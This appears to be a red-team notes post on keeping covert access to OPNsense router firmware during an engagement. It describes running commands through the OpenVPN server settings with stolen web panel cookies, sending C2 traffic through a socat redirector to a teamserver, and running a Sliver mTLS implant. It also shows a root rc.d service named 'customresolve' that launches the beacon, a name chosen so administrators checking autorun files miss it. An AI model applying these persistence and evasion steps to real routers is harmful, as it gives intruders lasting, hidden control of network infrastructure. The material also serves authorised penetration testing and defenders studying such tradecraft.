# tl;dr After exploring [[simple-cisco-beacon]], I wanted to document the simple process of persisting router firmware that allows direct shell access or command execution. I mostly do that to be thorough, all this stuff is pretty self-explanatory. This applies to a bunch of firmware types, both commercial and open-source, but I'll be using [OPNsense](https://opnsense.org) in a VirtualBox VM. # getting the shell On OPNsense or OpenWRT a Linux/FreeBSD shell is just an SSH connection away. Alternatively, if the password to the router is unknown, but web panel cookies are accessible, OPNsense allows to execute a command via OpenVPN server configuration: ![[Pasted image 20230314011542.png]] ``` root@testhost:~/routers# python3 -m http.server 8082 Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ... x.x.x.x - - [13/Mar/2023 22:41:10] code 404, message File not found x.x.x.x - - [13/Mar/2023 22:41:10] "GET /openvpn HTTP/1.1" 404 - ``` > **note:** This approach does not require inbound connectivity to the router. It can be made to connect to itself to trigger an `up` event. This option is soon to be deprecated, but for now it isn't, and I bet there will be more plugins with similar functionallity in the future. # setting up the C2 The first option I explored was `sliver` with an outbound WireGuard connection to a socat redirector (`socat UDP4-LISTEN:53,reuseaddr,fork udp:teamserver_ip:1195`). However, the latest version of Sliver (**1.5.35** at the time of writing) includes a version of the WireGuard module that does not build for a FreeBSD target. Thus, I ended up using a generic `sliver` implant with mTLS. I was a bit worried about backwards compatibility, as I have seen a similar issue with Linux implants and ancient kernel versions. I have tested this on as old a version as you can download from OPNsense (**v21-something**). # persistence The OPNsense [documentation](https://docs.opnsense.org) provides a good overview of legitimate ways to run services on startup: [https://docs.opnsense.org/development/backend/autorun.html](https://docs.opnsense.org/development/backend/autorun.html "https://docs.opnsense.org/development/backend/autorun.html") In the case that if (ever during the engagement) the network administrators check the files there, I have created a root-level service instead: ``` # in /etc/rc.conf.d/, actually does nothing customresolver_enable="YES" ``` ```bash # in /etc/rc.d/ #!/bin/sh # # $FreeBSD$ # # PROVIDE: customresolve nohup /path/to/beacon & ``` ``` root@OPNsense:~ # service customresolve start ``` # usage Router implants are most useful for ensuring access to the internal network, but stuff like `pretender` (which builds easily as a static FreeBSD binary) or other lower-level network penetration testing tools could also be used on-host.